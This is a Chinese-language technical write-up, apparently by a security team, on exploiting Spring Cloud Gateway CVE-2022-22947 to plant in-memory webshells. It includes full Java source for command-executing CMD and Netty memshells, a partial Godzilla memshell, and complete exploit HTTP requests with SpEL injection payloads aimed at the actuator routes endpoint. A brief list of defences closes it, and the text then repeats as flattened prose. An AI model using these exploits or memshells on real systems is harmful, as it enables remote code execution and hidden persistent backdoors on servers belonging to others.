Sangfor华东天勇战队:CVE-2022-22947打入内存马
字数 1269 2025-08-10 08:28:13

Spring Cloud Gateway CVE-2022-22947 内存马注入技术分析

漏洞背景

CVE-2022-22947 是 Spring Cloud Gateway 中的一个远程代码执行漏洞,攻击者可以通过构造恶意请求在目标服务器上执行任意代码。本文详细分析如何利用该漏洞注入不同类型的内存马。

环境准备

  • 测试环境版本:Spring Cloud Gateway v3.1.0
  • 关键点:环境版本必须匹配才能成功注入
  • 注意事项:内存马类文件不能带包名,必须放在根目录(java目录下)

内存马注入技术

1. CMD内存马注入

内存马代码 (SpringRequestMappingMemshell.java)

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}

注入步骤

  1. 将内存马类文件编译为SpringRequestMappingMemshell.class
  2. 对class文件进行Base64编码
  3. 构造恶意请求:
POST /actuator/gateway/routes/aaa HTTP/1.1
Host: 192.168.51.216:8080
Content-Type: application/json
Content-Length: 5177

{
    "predicate": [{"name": "Path", "args": {"_genkey_0": "/aaa"}}],
    "filters": [{
        "name": "RewritePath",
        "args": {
            "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('BASE64_ENCODED_CLASS'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}",
            "_genkey_1": "/${path}"
        }
    }],
    "uri": "http://qiezi.com"
}
  1. 刷新路由使注入生效:
POST /actuator/gateway/refresh HTTP/1.1

2. 哥斯拉内存马注入

内存马代码 (GMemShell.java)

import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Map;

public class GMemShell {
    public static Map<String, Object> store = new HashMap<>();
    public static String pass = "pass", md5, xc = "3c6e0b8a9c15224a";
    
    public static String doInject(Object obj, String path) {
        String msg;
        try {
            md5 = md5(pass + xc);
            Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class);
            RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build();
            registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo);
            msg = "ok";
        } catch (Exception e) {
            e.printStackTrace();
            msg = "error";
        }
        return msg;
    }
    
    // 其他辅助方法省略...
    @PostMapping("/cmd")
    public synchronized ResponseEntity cmd(ServerWebExchange pdata) {
        // 哥斯拉核心逻辑
    }
}

注入步骤

  1. 构造恶意请求:
POST /actuator/gateway/routes/new_route3 HTTP/1.1
Host: 192.168.51.216:8080
Content-Type: application/json
Content-Length: 11072

{
    "predicates": [{
        "name": "Path",
        "args": {
            "_genkey_0": "/hello"
        }
    }],
    "filters": [{
        "name": "RewritePath",
        "args": {
            "_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('GMemShell',T(org.springframework.util.Base64Utils).decodeFromString('BASE64_ENCODED_CLASS'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping,'/memshellpath2')}",
            "_genkey_1": "/${path}"
        }
    }],
    "uri": "https://www.uri-destination.org",
    "order": 0
}
  1. 注入路径为/memshellpath2
  2. 刷新路由使注入生效

3. Netty内存马注入

内存马代码 (NettyMemshell.java)

import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    public static String doInject(){
        String msg = "inject-start";
        try {
            // 反射获取NettyWebServer线程
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);
            
            // 遍历线程找到NettyWebServer
            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    // 通过反射修改配置
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemshell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }
    
    @Override
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        ChannelPipeline pipeline = channel.pipeline();
        pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
    }
    
    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try {
                if(httpRequest.headers().contains("X-CMD")) {
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        ctx.fireChannelRead(msg);
    }
    
    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}

使用方式

通过X-CMD头传递命令:

GET / HTTP/1.1
Host: target.com
X-CMD: whoami

技术原理分析

registerHandlerMethod vs registerMapping

  1. registerMapping(info, injectToController, method)方法:

    • 用于注册处理程序方法(HandlerMethod)
    • 将请求映射信息与控制器方法进行关联
    • 参数包含请求映射信息、是否注入参数、控制器方法等
  2. registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping)方法:

    • 更底层的方法,提供更多控制
    • 直接关联请求映射信息、控制器方法及参数解析器
    • 更灵活,能处理不同类型的控制器方法和请求

关键区别:

  • registerMapping方法较简单,不处理参数解析等细节
  • registerHandlerMethod方法更强大,能精确处理请求和控制器方法

注入流程

  1. 获取requestMappingHandlerMapping bean
  2. 通过反射调用registerHandlerMethod方法
  3. 注册恶意控制器方法
  4. 构造RequestMappingInfo定义访问路径
  5. 通过/actuator/gateway/refresh使注入生效

防御建议

  1. 及时升级Spring Cloud Gateway到安全版本
  2. 禁用/actuator/gateway端点或进行访问控制
  3. 监控异常的路由配置变更
  4. 使用WAF拦截恶意请求
  5. 定期检查服务器上的内存马

总结

本文详细分析了利用CVE-2022-22947漏洞注入三种不同类型内存马的技术细节,包括CMD内存马、哥斯拉内存马和Netty内存马。通过理解这些攻击技术,安全团队可以更好地防御此类攻击。

Spring Cloud Gateway CVE-2022-22947 内存马注入技术分析 漏洞背景 CVE-2022-22947 是 Spring Cloud Gateway 中的一个远程代码执行漏洞,攻击者可以通过构造恶意请求在目标服务器上执行任意代码。本文详细分析如何利用该漏洞注入不同类型的内存马。 环境准备 测试环境版本:Spring Cloud Gateway v3.1.0 关键点:环境版本必须匹配才能成功注入 注意事项:内存马类文件不能带包名,必须放在根目录(java目录下) 内存马注入技术 1. CMD内存马注入 内存马代码 (SpringRequestMappingMemshell.java) 注入步骤 将内存马类文件编译为SpringRequestMappingMemshell.class 对class文件进行Base64编码 构造恶意请求: 刷新路由使注入生效: 2. 哥斯拉内存马注入 内存马代码 (GMemShell.java) 注入步骤 构造恶意请求: 注入路径为 /memshellpath2 刷新路由使注入生效 3. Netty内存马注入 内存马代码 (NettyMemshell.java) 使用方式 通过X-CMD头传递命令: 技术原理分析 registerHandlerMethod vs registerMapping registerMapping(info, injectToController, method)方法 : 用于注册处理程序方法(HandlerMethod) 将请求映射信息与控制器方法进行关联 参数包含请求映射信息、是否注入参数、控制器方法等 registerHandlerMethod(Object handler, Method method, RequestMappingInfo mapping)方法 : 更底层的方法,提供更多控制 直接关联请求映射信息、控制器方法及参数解析器 更灵活,能处理不同类型的控制器方法和请求 关键区别: registerMapping方法较简单,不处理参数解析等细节 registerHandlerMethod方法更强大,能精确处理请求和控制器方法 注入流程 获取requestMappingHandlerMapping bean 通过反射调用registerHandlerMethod方法 注册恶意控制器方法 构造RequestMappingInfo定义访问路径 通过/actuator/gateway/refresh使注入生效 防御建议 及时升级Spring Cloud Gateway到安全版本 禁用/actuator/gateway端点或进行访问控制 监控异常的路由配置变更 使用WAF拦截恶意请求 定期检查服务器上的内存马 总结 本文详细分析了利用CVE-2022-22947漏洞注入三种不同类型内存马的技术细节,包括CMD内存马、哥斯拉内存马和Netty内存马。通过理解这些攻击技术,安全团队可以更好地防御此类攻击。